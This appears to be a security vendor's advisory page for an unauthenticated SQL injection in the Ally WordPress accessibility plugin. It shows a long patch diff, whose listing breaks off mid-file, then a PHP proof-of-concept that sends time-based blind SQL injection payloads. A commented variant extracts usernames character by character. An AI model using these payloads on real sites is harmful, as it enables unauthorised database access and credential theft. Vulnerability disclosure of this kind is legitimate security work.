@@ -124,7 +134,7 @@
 					'method' => 'POST',
 					'body' => wp_json_encode( [
 						'app' => $connect_type,
-						'local_id' => $current_user_id,
+						'local_id' => $owner_id,
 						'site_key' => $this->get_site_key(),
 						'deactivate_license_key' => $deactivate_license
 							? self::get_active_license_key()
@@ -137,7 +147,7 @@
 			);

 			// Update common data user option
-			update_user_option( $current_user_id, self::COMMON_DATA_USER_OPTION_NAME, (array) $response['connectData'] );
+			update_user_option( $owner_id, self::COMMON_DATA_USER_OPTION_NAME, (array) $response['connectData'] );

 			// Update license key if it exists
 			if ( isset( $response['licenseKey'] ) ) {
@@ -239,32 +249,90 @@
 		$is_activate_request = class_exists( 'ElementorProCoreConnectAppsActivate' )
 			&& $app instanceof ElementorProCoreConnectAppsActivate;

-		if ( $is_activate_request && empty( $additional_info ) ) {
-			[ 'authorize_url' => $authorize_url, 'is_new_client' => $is_new_client ] = Utils::get_authorize_url();
-			if ( $authorize_url && $is_new_client ) {
-				$additional_info['one_authorize_url'] = $authorize_url;
-			}
-		} elseif ( $is_ai_request ) {
-			$facade = Utils::get_connect( SupportedPlugins::ELEMENTOR );
-			if ( $facade && $facade->utils()->is_connected() ) {
-				$additional_info['X-Elementor-One-Auth'] = $facade->data()->get_access_token( GrantTypes::REFRESH_TOKEN );
+		if ( $is_ai_request ) {
+			$access_token = $this->get_one_connect_access_token();
+			if ( $access_token ) {
+				$additional_info['X-Elementor-One-Auth'] = $access_token;
 			}
+		} elseif ( $is_activate_request ) {
+			$inject_authorize_url = function ( $parsed_args, $url ) use ( &$inject_authorize_url ) {
+				if ( str_ends_with( $url, self::GET_CLIENT_ID_ENDPOINT ) ) {
+					$authorize_url = Utils::get_authorize_url();
+					if ( $authorize_url && is_array( $parsed_args['body'] ) ) {
+						$parsed_args['body']['one_authorize_url'] = $authorize_url;
+					}
+
+					// Remove filter after it has been applied
+					remove_filter( 'http_request_args', $inject_authorize_url, 10 );
+				}
+
+				return $parsed_args;
+			};
+
+			add_filter( 'http_request_args', $inject_authorize_url, 10, 2 );
 		}

 		return $additional_info;
 	}

 	/**
+	 * Get ONE connect access token
+	 * @return string|null
+	 */
+	private function get_one_connect_access_token(): ?string {
+		$facade = Utils::get_connect( SupportedPlugins::ELEMENTOR );
+
+		if ( ! $facade || ! $facade->utils()->is_connected() ) {
+			return null;
+		}
+
+		$access_token = $facade->data()->get_access_token( GrantTypes::REFRESH_TOKEN );
+
+		if ( ! Utils::is_jwt_expired( $access_token ) ) {
+			return $access_token;
+		}
+
+		try {
+			[ 'access_token' => $renewed_token ] = $facade->service()->renew_access_token( GrantTypes::REFRESH_TOKEN );
+			return $renewed_token;
+		} catch ( Throwable $th ) {
+			$this->logger->error( $th->getMessage() );
+			return null;
+		}
+	}
+
+	/**
 	 * Get owner client ID
 	 * @return string|null
 	 */
 	public function get_site_owner_client_id(): ?string {
+		$connect_data = $this->get_site_owner_connect_data();
+		return $connect_data['client_id'] ?? null;
+	}
+
+	/**
+	 * Get site owner connect data
+	 * @return array|null
+	 */
+	public function get_site_owner_connect_data(): ?array {
 		$owner_id = Utils::get_one_connect()->data()->get_owner_user_id();
 		if ( ! $owner_id ) {
 			return null;
 		}

-		$user_data = get_user_option( self::COMMON_DATA_USER_OPTION_NAME, $owner_id );
-		return $user_data['client_id'] ?? null;
+		$connect_data = get_user_option( self::COMMON_DATA_USER_OPTION_NAME, $owner_id );
+		return is_array( $connect_data ) ? $connect_data : null;
+	}
+
+	/**
+	 * Sync Elementor tracker opt-in with ONE connect preference
+	 * @param Facade $facade
+	 * @return void
+	 */
+	public function set_tracker_opt_in( Facade $facade ): void {
+		if ( is_callable( 'ElementorTracker::set_opt_in' ) ) {
+			$allow_tracking = 'yes' === $facade->data()->get_share_usage_data();
+			ElementorTracker::set_opt_in( $allow_tracking );
+		}
 	}
 }
--- a/pojo-accessibility/vendor/elementor/wp-one-package/src/Admin/Services/Migration.php
+++ b/pojo-accessibility/vendor/elementor/wp-one-package/src/Admin/Services/Migration.php
@@ -226,7 +226,10 @@

 		switch ( $plugin_slug ) {
 			case SupportedPlugins::ELEMENTOR:
-				self::update_editor_data( Editor::CONNECT_APP_LIBRARY );
+				$is_connected = (bool) Editor::instance()->get_site_owner_connect_data();
+				if ( ! $is_connected ) {
+					self::update_editor_data( Editor::CONNECT_APP_LIBRARY );
+				}
 				break;
 			case SupportedPlugins::ELEMENTOR_PRO:
 				$is_connected = (bool) Editor::get_active_license_key();
@@ -235,12 +238,16 @@
 				}
 				self::update_editor_data( Editor::CONNECT_APP_ACTIVATE, true );
 				break;
+			case SupportedPlugins::MANAGE:
+				// Do nothing with the existing manage instance
+				break;
 			default:
 				$facade = Facade::get( $plugin_slug );
 				if ( ! $facade ) {
 					throw new MigrationException( 'Plugin version not supported.', WP_Http::CONFLICT );
 				}
-				$is_connected = $facade->utils()->is_connected();
+				$is_using_original_instance = $facade->get_config( 'plugin_slug' ) === $plugin_slug;
+				$is_connected = $facade->utils()->is_connected() && $is_using_original_instance;
 				if ( $is_connected ) {
 					if ( ! $force ) {
 						throw new MigrationException( 'Plugin is already connected.', WP_Http::UNPROCESSABLE_ENTITY );
--- a/pojo-accessibility/vendor/elementor/wp-one-package/src/Common/SupportedPlugins.php
+++ b/pojo-accessibility/vendor/elementor/wp-one-package/src/Common/SupportedPlugins.php
@@ -11,6 +11,7 @@
  */
 class SupportedPlugins extends BasicEnum {
 	const ANGIE = 'angie';
+	const MANAGE = 'manage';
 	const ELEMENTOR = 'elementor';
 	const ELEMENTOR_PRO = 'elementor-pro';
 	const SITE_MAILER = 'site-mailer';
--- a/pojo-accessibility/vendor/elementor/wp-one-package/src/Connect/Classes/Data.php
+++ b/pojo-accessibility/vendor/elementor/wp-one-package/src/Connect/Classes/Data.php
@@ -23,6 +23,7 @@
 	const TOKEN_ID = '_token_id';
 	const OPTION_OWNER_USER_ID = '_owner_user_id';
 	const HOME_URL = '_home_url';
+	const SHARE_USAGE_DATA = '_share_usage_data';

 	/**
 	 * Facade instance
@@ -273,6 +274,7 @@
 			$this->delete_option( self::TOKEN_ID );
 			$this->delete_option( self::OPTION_OWNER_USER_ID );
 			$this->delete_option( self::HOME_URL );
+			$this->delete_option( self::SHARE_USAGE_DATA );
 		} else {
 			$user_id = get_current_user_id();
 			if ( $with_client ) {
@@ -285,6 +287,24 @@
 			$this->delete_user_data( $user_id, self::TOKEN_ID );
 			$this->delete_user_data( $user_id, self::OPTION_OWNER_USER_ID );
 			$this->delete_user_data( $user_id, self::HOME_URL );
+			$this->delete_user_data( $user_id, self::SHARE_USAGE_DATA );
 		}
 	}
+
+	/**
+	 * Get share usage data
+	 * @return false|mixed|string|null
+	 */
+	public function get_share_usage_data() {
+		return $this->get_connect_mode_data( self::SHARE_USAGE_DATA, false );
+	}
+
+	/**
+	 * Set share usage data
+	 * @param string $share_usage_data
+	 * @return bool
+	 */
+	public function set_share_usage_data( string $share_usage_data ): bool {
+		return $this->set_connect_mode_data( self::SHARE_USAGE_DATA, $share_usage_data );
+	}
 }
--- a/pojo-accessibility/vendor/elementor/wp-one-package/src/Connect/Classes/Utils.php
+++ b/pojo-accessibility/vendor/elementor/wp-one-package/src/Connect/Classes/Utils.php
@@ -165,4 +165,27 @@
 		$data = $this->facade->data();
 		return (bool) $data->get_access_token() && $this->is_valid_home_url();
 	}
+
+	/**
+	 * Decode JWT and return payload without signature verification
+	 * @param string $jwt
+	 * @return array|null
+	 */
+	public static function decode_jwt( string $jwt ): ?array {
+		$parts = explode( '.', $jwt );
+
+		if ( count( $parts ) !== 3 ) {
+			return null;
+		}
+
+		$payload = base64_decode( strtr( $parts[1], '-_', '+/' ) );
+
+		if ( ! $payload ) {
+			return null;
+		}
+
+		$decoded = json_decode( $payload, true );
+
+		return is_array( $decoded ) ? $decoded : null;
+	}
 }
--- a/pojo-accessibility/vendor/elementor/wp-one-package/src/Connect/Components/Handler.php
+++ b/pojo-accessibility/vendor/elementor/wp-one-package/src/Connect/Components/Handler.php
@@ -3,6 +3,7 @@
 namespace ElementorOneConnectComponents;

 use ElementorOneConnectClassesGrantTypes;
+use ElementorOneConnectClassesUtils;
 use ElementorOneConnectFacade;

 if ( ! defined( 'ABSPATH' ) ) {
@@ -14,6 +15,8 @@
  */
 class Handler {

+	const SCOPE_SHARE_USAGE_DATA = 'share_usage_data';
+
 	/**
 	 * Facade instance
 	 * @var Facade
@@ -90,7 +93,8 @@

 		try {
 			// Exchange the code for an access token and store it
-			$this->facade->service()->get_token( GrantTypes::AUTHORIZATION_CODE, $code );
+			[ 'access_token' => $access_token ] = $this->facade->service()->get_token( GrantTypes::AUTHORIZATION_CODE, $code );
+			$this->facade->data()->set_share_usage_data( $this->is_share_usage_scope_granted( $access_token ) ? 'yes' : 'no' );
 			$this->facade->data()->set_owner_user_id( get_current_user_id() );
 			$this->facade->data()->set_home_url();
 		} catch ( Throwable $th ) {
@@ -107,4 +111,17 @@

 		exit;
 	}
+
+	/**
+	 * Check if share usage scope is granted
+	 * @param string $access_token
+	 * @return bool
+	 */
+	private function is_share_usage_scope_granted( string $access_token ): bool {
+		$jwt_payload = Utils::decode_jwt( $access_token );
+		if ( $jwt_payload ) {
+			return in_array( self::SCOPE_SHARE_USAGE_DATA, $jwt_payload['scp'] ?? [], true );
+		}
+		return false;
+	}
 }
--- a/pojo-accessibility/vendor/firebase/php-jwt/src/BeforeValidException.php
+++ b/pojo-accessibility/vendor/firebase/php-jwt/src/BeforeValidException.php
@@ -1,18 +0,0 @@
-<?php
-
-namespace FirebaseJWT;
-
-class BeforeValidException extends UnexpectedValueException implements JWTExceptionWithPayloadInterface
-{
-    private object $payload;
-
-    public function setPayload(object $payload): void
-    {
-        $this->payload = $payload;
-    }
-
-    public function getPayload(): object
-    {
-        return $this->payload;
-    }
-}
--- a/pojo-accessibility/vendor/firebase/php-jwt/src/CachedKeySet.php
+++ b/pojo-accessibility/vendor/firebase/php-jwt/src/CachedKeySet.php
@@ -1,268 +0,0 @@
-<?php
-
-namespace FirebaseJWT;
-
-use ArrayAccess;
-use InvalidArgumentException;
-use LogicException;
-use OutOfBoundsException;
-use PsrCacheCacheItemInterface;
-use PsrCacheCacheItemPoolInterface;
-use PsrHttpClientClientInterface;
-use PsrHttpMessageRequestFactoryInterface;
-use RuntimeException;
-use UnexpectedValueException;
-
-/**
- * @implements ArrayAccess<string, Key>
- */
-class CachedKeySet implements ArrayAccess
-{
-    /**
-     * @var string
-     */
-    private $jwksUri;
-    /**
-     * @var ClientInterface
-     */
-    private $httpClient;
-    /**
-     * @var RequestFactoryInterface
-     */
-    private $httpFactory;
-    /**
-     * @var CacheItemPoolInterface
-     */
-    private $cache;
-    /**
-     * @var ?int
-     */
-    private $expiresAfter;
-    /**
-     * @var ?CacheItemInterface
-     */
-    private $cacheItem;
-    /**
-     * @var array<string, array<mixed>>
-     */
-    private $keySet;
-    /**
-     * @var string
-     */
-    private $cacheKey;
-    /**
-     * @var string
-     */
-    private $cacheKeyPrefix = 'jwks';
-    /**
-     * @var int
-     */
-    private $maxKeyLength = 64;
-    /**
-     * @var bool
-     */
-    private $rateLimit;
-    /**
-     * @var string
-     */
-    private $rateLimitCacheKey;
-    /**
-     * @var int
-     */
-    private $maxCallsPerMinute = 10;
-    /**
-     * @var string|null
-     */
-    private $defaultAlg;
-
-    public function __construct(
-        string $jwksUri,
-        ClientInterface $httpClient,
-        RequestFactoryInterface $httpFactory,
-        CacheItemPoolInterface $cache,
-        int $expiresAfter = null,
-        bool $rateLimit = false,
-        string $defaultAlg = null
-    ) {
-        $this->jwksUri = $jwksUri;
-        $this->httpClient = $httpClient;
-        $this->httpFactory = $httpFactory;
-        $this->cache = $cache;
-        $this->expiresAfter = $expiresAfter;
-        $this->rateLimit = $rateLimit;
-        $this->defaultAlg = $defaultAlg;
-        $this->setCacheKeys();
-    }
-
-    /**
-     * @param string $keyId
-     * @return Key
-     */
-    public function offsetGet($keyId): Key
-    {
-        if (!$this->keyIdExists($keyId)) {
-            throw new OutOfBoundsException('Key ID not found');
-        }
-        return JWK::parseKey($this->keySet[$keyId], $this->defaultAlg);
-    }
-
-    /**
-     * @param string $keyId
-     * @return bool
-     */
-    public function offsetExists($keyId): bool
-    {
-        return $this->keyIdExists($keyId);
-    }
-
-    /**
-     * @param string $offset
-     * @param Key $value
-     */
-    public function offsetSet($offset, $value): void
-    {
-        throw new LogicException('Method not implemented');
-    }
-
-    /**
-     * @param string $offset
-     */
-    public function offsetUnset($offset): void
-    {
-        throw new LogicException('Method not implemented');
-    }
-
-    /**
-     * @return array<mixed>
-     */
-    private function formatJwksForCache(string $jwks): array
-    {
-        $jwks = json_decode($jwks, true);
-
-        if (!isset($jwks['keys'])) {
-            throw new UnexpectedValueException('"keys" member must exist in the JWK Set');
-        }
-
-        if (empty($jwks['keys'])) {
-            throw new InvalidArgumentException('JWK Set did not contain any keys');
-        }
-
-        $keys = [];
-        foreach ($jwks['keys'] as $k => $v) {
-            $kid = isset($v['kid']) ? $v['kid'] : $k;
-            $keys[(string) $kid] = $v;
-        }
-
-        return $keys;
-    }
-
-    private function keyIdExists(string $keyId): bool
-    {
-        if (null === $this->keySet) {
-            $item = $this->getCacheItem();
-            // Try to load keys from cache
-            if ($item->isHit()) {
-                // item found! retrieve it
-                $this->keySet = $item->get();
-                // If the cached item is a string, the JWKS response was cached (previous behavior).
-                // Parse this into expected format array<kid, jwk> instead.
-                if (is_string($this->keySet)) {
-                    $this->keySet = $this->formatJwksForCache($this->keySet);
-                }
-            }
-        }
-
-        if (!isset($this->keySet[$keyId])) {
-            if ($this->rateLimitExceeded()) {
-                return false;
-            }
-            $request = $this->httpFactory->createRequest('GET', $this->jwksUri);
-            $jwksResponse = $this->httpClient->sendRequest($request);
-            if ($jwksResponse->getStatusCode() !== 200) {
-                throw new UnexpectedValueException(
-                    sprintf('HTTP Error: %d %s for URI "%s"',
-                        $jwksResponse->getStatusCode(),
-                        $jwksResponse->getReasonPhrase(),
-                        $this->jwksUri,
-                    ),
-                    $jwksResponse->getStatusCode()
-                );
-            }
-            $this->keySet = $this->formatJwksForCache((string) $jwksResponse->getBody());
-
-            if (!isset($this->keySet[$keyId])) {
-                return false;
-            }
-
-            $item = $this->getCacheItem();
-            $item->set($this->keySet);
-            if ($this->expiresAfter) {
-                $item->expiresAfter($this->expiresAfter);
-            }
-            $this->cache->save($item);
-        }
-
-        return true;
-    }
-
-    private function rateLimitExceeded(): bool
-    {
-        if (!$this->rateLimit) {
-            return false;
-        }
-
-        $cacheItem = $this->cache->getItem($this->rateLimitCacheKey);
-        if (!$cacheItem->isHit()) {
-            $cacheItem->expiresAfter(1); // # of calls are cached each minute
-        }
-
-        $callsPerMinute = (int) $cacheItem->get();
-        if (++$callsPerMinute > $this->maxCallsPerMinute) {
-            return true;
-        }
-        $cacheItem->set($callsPerMinute);
-        $this->cache->save($cacheItem);
-        return false;
-    }
-
-    private function getCacheItem(): CacheItemInterface
-    {
-        if (is_null($this->cacheItem)) {
-            $this->cacheItem = $this->cache->getItem($this->cacheKey);
-        }
-
-        return $this->cacheItem;
-    }
-
-    private function setCacheKeys(): void
-    {
-        if (empty($this->jwksUri)) {
-            throw new RuntimeException('JWKS URI is empty');
-        }
-
-        // ensure we do not have illegal characters
-        $key = preg_replace('|[^a-zA-Z0-9_.!]|', '', $this->jwksUri);
-
-        // add prefix
-        $key = $this->cacheKeyPrefix . $key;
-
-        // Hash keys if they exceed $maxKeyLength of 64
-        if (strlen($key) > $this->maxKeyLength) {
-            $key = substr(hash('sha256', $key), 0, $this->maxKeyLength);
-        }
-
-        $this->cacheKey = $key;
-
-        if ($this->rateLimit) {
-            // add prefix
-            $rateLimitKey = $this->cacheKeyPrefix . 'ratelimit' . $key;
-
-            // Hash keys if they exceed $maxKeyLength of 64
-            if (strlen($rateLimitKey) > $this->maxKeyLength) {
-                $rateLimitKey = substr(hash('sha256', $rateLimitKey), 0, $this->maxKeyLength);
-            }
-
-            $this->rateLimitCacheKey = $rateLimitKey;
-        }
-    }
-}
--- a/pojo-accessibility/vendor/firebase/php-jwt/src/ExpiredException.php
+++ b/pojo-accessibility/vendor/firebase/php-jwt/src/ExpiredException.php
@@ -1,18 +0,0 @@
-<?php
-
-namespace FirebaseJWT;
-
-class ExpiredException extends UnexpectedValueException implements JWTExceptionWithPayloadInterface
-{
-    private object $payload;
-
-    public function setPayload(object $payload): void
-    {
-        $this->payload = $payload;
-    }
-
-    public function getPayload(): object
-    {
-        return $this->payload;
-    }
-}
--- a/pojo-accessibility/vendor/firebase/php-jwt/src/JWK.php
+++ b/pojo-accessibility/vendor/firebase/php-jwt/src/JWK.php
@@ -1,349 +0,0 @@
-<?php
-
-namespace FirebaseJWT;
-
-use DomainException;
-use InvalidArgumentException;
-use UnexpectedValueException;
-
-/**
- * JSON Web Key implementation, based on this spec:
- * https://tools.ietf.org/html/draft-ietf-jose-json-web-key-41
- *
- * PHP version 5
- *
- * @category Authentication
- * @package  Authentication_JWT
- * @author   Bui Sy Nguyen <nguyenbs@gmail.com>
- * @license  http://opensource.org/licenses/BSD-3-Clause 3-clause BSD
- * @link     https://github.com/firebase/php-jwt
- */
-class JWK
-{
-    private const OID = '1.2.840.10045.2.1';
-    private const ASN1_OBJECT_IDENTIFIER = 0x06;
-    private const ASN1_SEQUENCE = 0x10; // also defined in JWT
-    private const ASN1_BIT_STRING = 0x03;
-    private const EC_CURVES = [
-        'P-256' => '1.2.840.10045.3.1.7', // Len: 64
-        'secp256k1' => '1.3.132.0.10', // Len: 64
-        'P-384' => '1.3.132.0.34', // Len: 96
-        // 'P-521' => '1.3.132.0.35', // Len: 132 (not supported)
-    ];
-
-    // For keys with "kty" equal to "OKP" (Octet Key Pair), the "crv" parameter must contain the key subtype.
-    // This library supports the following subtypes:
-    private const OKP_SUBTYPES = [
-        'Ed25519' => true, // RFC 8037
-    ];
-
-    /**
-     * Parse a set of JWK keys
-     *
-     * @param array<mixed> $jwks The JSON Web Key Set as an associative array
-     * @param string       $defaultAlg The algorithm for the Key object if "alg" is not set in the
-     *                                 JSON Web Key Set
-     *
-     * @return array<string, Key> An associative array of key IDs (kid) to Key objects
-     *
-     * @throws InvalidArgumentException     Provided JWK Set is empty
-     * @throws UnexpectedValueException     Provided JWK Set was invalid
-     * @throws DomainException              OpenSSL failure
-     *
-     * @uses parseKey
-     */
-    public static function parseKeySet(array $jwks, string $defaultAlg = null): array
-    {
-        $keys = [];
-
-        if (!isset($jwks['keys'])) {
-            throw new UnexpectedValueException('"keys" member must exist in the JWK Set');
-        }
-
-        if (empty($jwks['keys'])) {
-            throw new InvalidArgumentException('JWK Set did not contain any keys');
-        }
-
-        foreach ($jwks['keys'] as $k => $v) {
-            $kid = isset($v['kid']) ? $v['kid'] : $k;
-            if ($key = self::parseKey($v, $defaultAlg)) {
-                $keys[(string) $kid] = $key;
-            }
-        }
-
-        if (0 === count($keys)) {
-            throw new UnexpectedValueException('No supported algorithms found in JWK Set');
-        }
-
-        return $keys;
-    }
-
-    /**
-     * Parse a JWK key
-     *
-     * @param array<mixed> $jwk An individual JWK
-     * @param string       $defaultAlg The algorithm for the Key object if "alg" is not set in the
-     *                                 JSON Web Key Set
-     *
-     * @return Key The key object for the JWK
-     *
-     * @throws InvalidArgumentException     Provided JWK is empty
-     * @throws UnexpectedValueException     Provided JWK was invalid
-     * @throws DomainException              OpenSSL failure
-     *
-     * @uses createPemFromModulusAndExponent
-     */
-    public static function parseKey(array $jwk, string $defaultAlg = null): ?Key
-    {
-        if (empty($jwk)) {
-            throw new InvalidArgumentException('JWK must not be empty');
-        }
-
-        if (!isset($jwk['kty'])) {
-            throw new UnexpectedValueException('JWK must contain a "kty" parameter');
-        }
-
-        if (!isset($jwk['alg'])) {
-            if (is_null($defaultAlg)) {
-                // The "alg" parameter is optional in a KTY, but an algorithm is required
-                // for parsing in this library. Use the $defaultAlg parameter when parsing the
-                // key set in order to prevent this error.
-                // @see https://datatracker.ietf.org/doc/html/rfc7517#section-4.4
-                throw new UnexpectedValueException('JWK must contain an "alg" parameter');
-            }
-            $jwk['alg'] = $defaultAlg;
-        }
-
-        switch ($jwk['kty']) {
-            case 'RSA':
-                if (!empty($jwk['d'])) {
-                    throw new UnexpectedValueException('RSA private keys are not supported');
-                }
-                if (!isset($jwk['n']) || !isset($jwk['e'])) {
-                    throw new UnexpectedValueException('RSA keys must contain values for both "n" and "e"');
-                }
-
-                $pem = self::createPemFromModulusAndExponent($jwk['n'], $jwk['e']);
-                $publicKey = openssl_pkey_get_public($pem);
-                if (false === $publicKey) {
-                    throw new DomainException(
-                        'OpenSSL error: ' . openssl_error_string()
-                    );
-                }
-                return new Key($publicKey, $jwk['alg']);
-            case 'EC':
-                if (isset($jwk['d'])) {
-                    // The key is actually a private key
-                    throw new UnexpectedValueException('Key data must be for a public key');
-                }
-
-                if (empty($jwk['crv'])) {
-                    throw new UnexpectedValueException('crv not set');
-                }
-
-                if (!isset(self::EC_CURVES[$jwk['crv']])) {
-                    throw new DomainException('Unrecognised or unsupported EC curve');
-                }
-
-                if (empty($jwk['x']) || empty($jwk['y'])) {
-                    throw new UnexpectedValueException('x and y not set');
-                }
-
-                $publicKey = self::createPemFromCrvAndXYCoordinates($jwk['crv'], $jwk['x'], $jwk['y']);
-                return new Key($publicKey, $jwk['alg']);
-            case 'OKP':
-                if (isset($jwk['d'])) {
-                    // The key is actually a private key
-                    throw new UnexpectedValueException('Key data must be for a public key');
-                }
-
-                if (!isset($jwk['crv'])) {
-                    throw new UnexpectedValueException('crv not set');
-                }
-
-                if (empty(self::OKP_SUBTYPES[$jwk['crv']])) {
-                    throw new DomainException('Unrecognised or unsupported OKP key subtype');
-                }
-
-                if (empty($jwk['x'])) {
-                    throw new UnexpectedValueException('x not set');
-                }
-
-                // This library works internally with EdDSA keys (Ed25519) encoded in standard base64.
-                $publicKey = JWT::convertBase64urlToBase64($jwk['x']);
-                return new Key($publicKey, $jwk['alg']);
-            default:
-                break;
-        }
-
-        return null;
-    }
-
-    /**
-     * Converts the EC JWK values to pem format.
-     *
-     * @param   string  $crv The EC curve (only P-256 & P-384 is supported)
-     * @param   string  $x   The EC x-coordinate
-     * @param   string  $y   The EC y-coordinate
-     *
-     * @return  string
-     */
-    private static function createPemFromCrvAndXYCoordinates(string $crv, string $x, string $y): string
-    {
-        $pem =
-            self::encodeDER(
-                self::ASN1_SEQUENCE,
-                self::encodeDER(
-                    self::ASN1_SEQUENCE,
-                    self::encodeDER(
-                        self::ASN1_OBJECT_IDENTIFIER,
-                        self::encodeOID(self::OID)
-                    )
-                    . self::encodeDER(
-                        self::ASN1_OBJECT_IDENTIFIER,
-                        self::encodeOID(self::EC_CURVES[$crv])
-                    )
-                ) .
-                self::encodeDER(
-                    self::ASN1_BIT_STRING,
-                    chr(0x00) . chr(0x04)
-                    . JWT::urlsafeB64Decode($x)
-                    . JWT::urlsafeB64Decode($y)
-                )
-            );
-
-        return sprintf(
-            "-----BEGIN PUBLIC KEY-----n%sn-----END PUBLIC KEY-----n",
-            wordwrap(base64_encode($pem), 64, "n", true)
-        );
-    }
-
-    /**
-     * Create a public key represented in PEM format from RSA modulus and exponent information
-     *
-     * @param string $n The RSA modulus encoded in Base64
-     * @param string $e The RSA exponent encoded in Base64
-     *
-     * @return string The RSA public key represented in PEM format
-     *
-     * @uses encodeLength
-     */
-    private static function createPemFromModulusAndExponent(
-        string $n,
-        string $e
-    ): string {
-        $mod = JWT::urlsafeB64Decode($n);
-        $exp = JWT::urlsafeB64Decode($e);
-
-        $modulus = pack('Ca*a*', 2, self::encodeLength(strlen($mod)), $mod);
-        $publicExponent = pack('Ca*a*', 2, self::encodeLength(strlen($exp)), $exp);
-
-        $rsaPublicKey = pack(
-            'Ca*a*a*',
-            48,
-            self::encodeLength(strlen($modulus) + strlen($publicExponent)),
-            $modulus,
-            $publicExponent
-        );
-
-        // sequence(oid(1.2.840.113549.1.1.1), null)) = rsaEncryption.
-        $rsaOID = pack('H*', '300d06092a864886f70d0101010500'); // hex version of MA0GCSqGSIb3DQEBAQUA
-        $rsaPublicKey = chr(0) . $rsaPublicKey;
-        $rsaPublicKey = chr(3) . self::encodeLength(strlen($rsaPublicKey)) . $rsaPublicKey;
-
-        $rsaPublicKey = pack(
-            'Ca*a*',
-            48,
-            self::encodeLength(strlen($rsaOID . $rsaPublicKey)),
-            $rsaOID . $rsaPublicKey
-        );
-
-        return "-----BEGIN PUBLIC KEY-----rn" .
-            chunk_split(base64_encode($rsaPublicKey), 64) .
-            '-----END PUBLIC KEY-----';
-    }
-
-    /**
-     * DER-encode the length
-     *
-     * DER supports lengths up to (2**8)**127, however, we'll only support lengths up to (2**8)**4.  See
-     * {@link http://itu.int/ITU-T/studygroups/com17/languages/X.690-0207.pdf#p=13 X.690 paragraph 8.1.3} for more information.
-     *
-     * @param int $length
-     * @return string
-     */
-    private static function encodeLength(int $length): string
-    {
-        if ($length <= 0x7F) {
-            return chr($length);
-        }
-
-        $temp = ltrim(pack('N', $length), chr(0));
-
-        return pack('Ca*', 0x80 | strlen($temp), $temp);
-    }
-
-    /**
-     * Encodes a value into a DER object.
-     * Also defined in FirebaseJWTJWT
-     *
-     * @param   int     $type DER tag
-     * @param   string  $value the value to encode
-     * @return  string  the encoded object
-     */
-    private static function encodeDER(int $type, string $value): string
-    {
-        $tag_header = 0;
-        if ($type === self::ASN1_SEQUENCE) {
-            $tag_header |= 0x20;
-        }
-
-        // Type
-        $der = chr($tag_header | $type);
-
-        // Length
-        $der .= chr(strlen($value));
-
-        return $der . $value;
-    }
-
-    /**
-     * Encodes a string into a DER-encoded OID.
-     *
-     * @param   string $oid the OID string
-     * @return  string the binary DER-encoded OID
-     */
-    private static function encodeOID(string $oid): string
-    {
-        $octets = explode('.', $oid);
-
-        // Get the first octet
-        $first = (int) array_shift($octets);
-        $second = (int) array_shift($octets);
-        $oid = chr($first * 40 + $second);
-
-        // Iterate over subsequent octets
-        foreach ($octets as $octet) {
-            if ($octet == 0) {
-                $oid .= chr(0x00);
-                continue;
-            }
-            $bin = '';
-
-            while ($octet) {
-                $bin .= chr(0x80 | ($octet & 0x7f));
-                $octet >>= 7;
-            }
-            $bin[0] = $bin[0] & chr(0x7f);
-
-            // Convert to big endian if necessary
-            if (pack('V', 65534) == pack('L', 65534)) {
-                $oid .= strrev($bin);
-            } else {
-                $oid .= $bin;
-            }
-        }
-
-        return $oid;
-    }
-}
--- a/pojo-accessibility/vendor/firebase/php-jwt/src/JWT.php
+++ b/pojo-accessibility/vendor/firebase/php-jwt/src/JWT.php
@@ -1,669 +0,0 @@
-<?php
-
-namespace FirebaseJWT;
-
-use ArrayAccess;
-use DateTime;
-use DomainException;
-use Exception;
-use InvalidArgumentException;
-use OpenSSLAsymmetricKey;
-use OpenSSLCertificate;
-use stdClass;
-use UnexpectedValueException;
-
-/**
- * JS

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-2413 - Ally – Web Accessibility & Usability <= 4.0.3 - Unauthenticated SQL Injection via URL Path
<?php

$target_url = "http://vulnerable-wordpress-site.com";

// The exploit targets the remediation module which must be active and connected to Elementor
// We send a request with a malicious URL containing SQL injection payload
// Using time-based blind SQL injection technique to extract information

$payload_url = "' OR (SELECT 1 FROM (SELECT SLEEP(5))a)-- ";
$full_url = $target_url . '/' . urlencode($payload_url);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $full_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);

// Start timing
$start_time = microtime(true);
$response = curl_exec($ch);
$end_time = microtime(true);

curl_close($ch);

$response_time = $end_time - $start_time;

if ($response_time > 5) {
    echo "[+] SQL Injection successful! Server delayed response by " . round($response_time, 2) . " secondsn";
    echo "[+] Vulnerability confirmed in Ally plugin <= 4.0.3n";
} else {
    echo "[-] No SQL injection detected. Response time: " . round($response_time, 2) . " secondsn";
    echo "[-] Possible reasons: Plugin not active, remediation module disabled, or patched versionn";
}

// More advanced payload example for information extraction:
// ' OR IF(SUBSTRING((SELECT user_login FROM wp_users LIMIT 1),1,1)='a',SLEEP(5),0)-- 
// This would test if the first character of the first username is 'a'

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School